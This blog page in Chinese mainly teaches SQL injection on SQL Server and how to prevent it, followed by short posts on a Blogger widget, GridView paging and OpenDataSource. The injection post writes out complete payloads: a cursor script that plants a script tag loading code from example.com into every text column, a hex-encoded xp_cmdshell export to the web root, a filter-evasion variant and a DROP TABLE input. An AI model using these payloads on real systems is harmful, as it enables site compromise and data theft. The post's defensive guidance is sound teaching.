SQL Injection 攻擊實例與防範之道

0 comments
根據近日新聞報導,2008 年四月底開始,在歐美陸續發生資料隱碼(SQL Injection)攻擊事件,最近已蔓延到台灣。在這波攻擊中,台灣已有無數網站受害,大家實在不可不慎。

本文將以微軟的 SQL Server 為背景,並模擬實作這次攻擊事件的 SQL 隱碼來做示範。希望能提供各位對資料隱碼攻擊的方式及原理,有基本認識與警惕。

試想,如果要攻擊一個網站該從何著手呢?首先,我們可以透過要求應用程式的表單輸入欄位或是 HTTP 查詢字串,來尋找可能的程式漏洞。當我們嘗試對應用程式要求含有單引號的表單輸入資訊或是 HTTP 查詢字串,並得到「內部伺服器錯誤」,那就幾乎可以篤定這個應用程式接受來自任何使用者的輸入,而且是藉由串連字串執行 SQL 命令。我們假設伺服器端執行的程式碼如下:
SELECT select_list FROM table_source WHERE column_name = 'anything'';

當程式因為執行語法錯誤的 SQL 陳述式而引發未處理的例外狀況時,無疑也透露程式可能潛在的資料隱碼弱點。這時只要使用查詢分隔符號(;)註解分隔符號(--),就可將惡意程式碼插入字串中,並組合成有效的 SQL 陳述式。以下範例會在預設的資料庫中,植入惡意連結到所有資料表中的長字串欄位:
SELECT select_list FROM table_source WHERE column_name = '';
declare object_cursor cursor
for
select name, id from sysobjects where xtype='U' and category = 0
open object_cursor
declare @stmt nvarchar(4000),@objec_name nvarchar(128), @object_id int, @column_name nvarchar(128)
fetch next from object_cursor into @objec_name, @object_id
while @@fetch_status = 0
begin
declare column_cursor cursor
for
select name from syscolumns where id = @object_id and length >= 255 and xtype in (167,231)
open column_cursor fetch next from column_cursor into @column_name
if @@fetch_status = 0
begin
set @stmt = 'update ' + @objec_name + ' set '
while @@fetch_status = 0
begin
set @stmt = @stmt + @column_name + '=' + @column_name + '+''<script src=''''http://example.com/s.js''''></script>'','
fetch next from column_cursor into @column_name
end
set @stmt = left(@stmt, len(@stmt)-1)
exec( @stmt )
end
close column_cursor
deallocate column_cursor
fetch next from object_cursor into @objec_name, @object_id
end
close object_cursor
deallocate object_cursor--
'


From xkcd

如果你認為只要過濾單引號,就可以防範未然,那就錯了。以下範例將利用 xp_cmdshell 執行以 Hex 編碼轉換後的命令字串,將 sysobjects 資料表輸出至 c:\inetpub\wwwroot\ 目錄:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare @s varchar(255)
select @s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50
exec master..xp_cmdshell @s


如果連單引號跟空白字元都被拒絕輸入呢?以下範例使用註解分隔符號(/**/)替代空白字元依舊可以產生有效的陳述式:
SELECT select_list FROM table_source WHERE column_name = anynumber;
declare/*Avoiding space*/@s/**/varchar(255)/**/
select/**/@s=0x626370206d61737465722e2e7379736f626a65637473206f757420633a5c696e65747075625c777777726f6f745c7379736f626a656374732e747874202d63202d557361202d50/**/
exec/**/master..xp_cmdshell/**/@s


如何防範
  1. 不要信任來自使用者的資訊,包括查詢字串、表單變數以及 cookie 值都必須進行驗證及過濾。
  2. 使用參數型命令查詢取代用字串串連的方式建立 SQL 查詢。
  3. 對遠端永遠都使用自訂錯誤訊息網頁,防止內部伺服器錯誤的詳細錯誤資訊洩露在客戶端。
  4. 應用程式所使用的資料庫帳戶,盡可能給予所需的最低權限存取資料庫。

參數命令查詢範例
在 ASP.NET 很多人習慣用以下方式建立 SQL 查詢:
string cmdText = string.Format("SELECT * FROM Users " +
"WHERE username='{0}'", username);
SqlCommand cmd = new SqlCommand(cmdText, conn);

基於安全考量,你應該使用參數型命令查詢。如以下範例:
string cmdText = "SELECT * FROM Users " +
"WHERE Username LIKE @username";
SqlCommand cmd = new SqlCommand(cmdText, conn);
cmd.Parameters.AddWithValue("@username", txtSearch.Text + "%");
SqlDataReader sdr = cmd.ExecuteReader();

當使用者輸入搜尋字串 "someone" 時,ADO.NET 會提交以下如下查詢命令給 SQL Server:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(8)',@username=N'someone%'

但萬一是輸入以下的惡意字串:
'; DROP TABLE Users --

則會產生以下查詢陳述式:
exec sp_executesql N'SELECT * FROM Users WHERE Username LIKE @username',N'@username nvarchar(23)',@username=N'''; DROP TABLE Users --%'

由此可見 ADO.NET 會自動使用兩個單引號置換內嵌的單引號,所以輸入資料永遠被視為字串常數,而非串連成動態 SQL 指令的字串。

善用規則運算式(Regular Expressions)
如果你非要用字串串連的方式建立 SQL 查詢的話,你就要自己篩選輸入資料。以下範例使用規則運算式過濾特殊字元及部份關鍵字:
string inputString = txtSearch.Text;
inputString = Regex.Replace(inputString, @"\b(exec(ute)?|select|update|insert|delete|drop|create)\b|[;']|(-{2})|(/\*.*\*/)", string.Empty, RegexOptions.IgnoreCase);

請注意,如果是使用 LIKE 來執行字串比較,即便是使用參數型命令,你仍需要逸出萬用字元:
Regex re = new Regex(@"(?<EscapeChar>[\[\%_])");
inputString = re.Replace(inputString, "[${EscapeChar}]");

有關 LIKE 語法的詳細資訊,請參考這裡

參考文章:
SQL Injection Attacks by Example by Steve
SQL 資料隱碼 by Microsoft

繼續閱讀...

為你的 Blogger 加入書籤按鈕

14 comments
現在有許多好用的外掛程式可以幫您的 Blogger 加上多個書籤按鈕,尤其像是 AddThisShareThis,更是集合各種社交書籤,且功能更為完整。可惜的是這些好用的外掛程式普遍都沒有支援國內的書籤網站(例如 Hemidemi、My Share 等),有感於此,於是自己才著手寫了這個支援國內書籤按鈕的外掛程式,而且只需要幾個簡單的步驟及少量的 DHTML 程式碼即可完成安裝。

接下來將以 Blogger 新的網頁範本格式(XML)來說明安裝步驟:

1. 進入 Blogger 的管理介面,在[版面配置]點選[修改HTML],並勾選[展開小裝置範本]。

2. 在 <b:skin> 區段中加入以下 CSS 代碼:
.social-button { 
border: 0;
padding: 1px;
width: 16px;
height: 16px;
opacity: .5;
-moz-opacity: .5;
filter: alpha(opacity=50);
}
.social-button:hover {
opacity: 1;
-moz-opacity: 1;
filter: alpha(opacity=100);
}

3. 找到如下的標籤代碼:
<p><data:post.body/></p>

並在其後加入以下程式碼:
<!-- Bookmark Button BEGIN -->
<div align='right'>
<script type='text/javascript'>
_bookmarkTitle = &#39;<data:post.title/>&#39;;
_bookmarkUrl = &#39;<data:post.url/>&#39;;
</script>
<script src='http://renjin.liu.googlepages.com/social_widget.js' type='text/javascript'/>
</div>
<!-- Bookmark Button END -->

4. 儲存範本、測試。



 Download Source Code

繼續閱讀...

如何使用 GridView 的分頁功能

0 comments
ASP.NET 2.0 的 GridView 控制項具有內建的分頁功能,只要透過 DataSourceID 屬性,指定支援直接分頁功能的資料來源控制項(如 SqlDataSource),並將 AllowPaging 屬性設定為 true,即可啟用分頁功能,而不需撰寫任何程式碼。

當使用 DataSourceID 屬性指定資料來源時,則資料控制項(Data-bound Control)就會在執行階段 (Run-Time)自動繫結資料來源控制項。相較於使用 DataSource 屬性,最大的不同就是你就必須明確呼叫 DataBind 方法來繫結資料來源。

所以,如果你是透過 GridView 控制項的 DataSource 屬性繫結資料來源,則當你移動 GridView 控制項的分頁時,便會引發如下的錯誤:
由 GridView 'GridView1' 引發但尚未處理的事件 PageIndexChanging。

這時你必須建立 GridView 控制項的 PageIndexChanging 事件處理常式,為 GridView 控制項指定使用者所選取之頁面的索引,並呼叫 DataBind 方法:
protected void GridView1_PageIndexChanging(object sender, GridViewPageEventArgs e)
{
GridView1.PageIndex = e.NewPageIndex;
GridView1.DataBind();
}

繼續閱讀...

如何使用 OpenDataSource 查詢文字檔

0 comments
OpenDataSource 提供了特定(Ad Hoc)連線資訊作為包含四個部份的物件名稱(Four-part Name)的一部份,而不需使用連結伺服器的名稱。四個部分的名稱一般用於分散式查詢,其格式如下:
linkedserver.catalog.schema.object_name

以下範例藉由 OLE DB Provider for Jet 來查詢文字檔 (test.txt):
select * from OpenDataSource('Microsoft.Jet.OLEDB.4.0', 'Data Source = C:\; Extended Properties = "Text;HDR=NO"')...test#txt

事實上 OpenDataSource 函數就位於前面提到的四個部份的物件名稱中的 linkedserver 位置,所以你應把它視為伺服器,而 test.txt 就是資料表。記得,因為逗點是物件識別名稱的一部份,所以你必須將檔名中的逗號使用 # 符號取代。

連線字串中的 Data Source 需指定來源檔案的所在目錄。Extended Properties 必須包含 Text;除此之外,你可以選擇性指定 HDR=NO 表示文字檔的第一列沒有包含欄位標題,這時 SQL Server 將會自動以 F1 、 F2 、 F3 ... 來命名資料欄位。以上面的查詢範例來說,只能針對以號分隔的文字檔輸出資料欄位,如果你需要查詢特定格式的資料,則必須在 Data Source 目錄下建立 Schema.ini 來指定查詢參數。有關如何建立 Schema.ini 檔的詳細資訊可以參考這裡

以下的 Schema.ini 範例,描述 test.txt 是使用 tab 分隔的文字檔:
[test.txt]
Format=TabDelimited
ColNameHeader=False
MaxScanRows=0
CharacterSet=ANSI

參考文章:
OPENDATASOURCE (Transact-SQL) by Microsoft
Schema.ini File (Text File Driver) by Microsoft

繼續閱讀...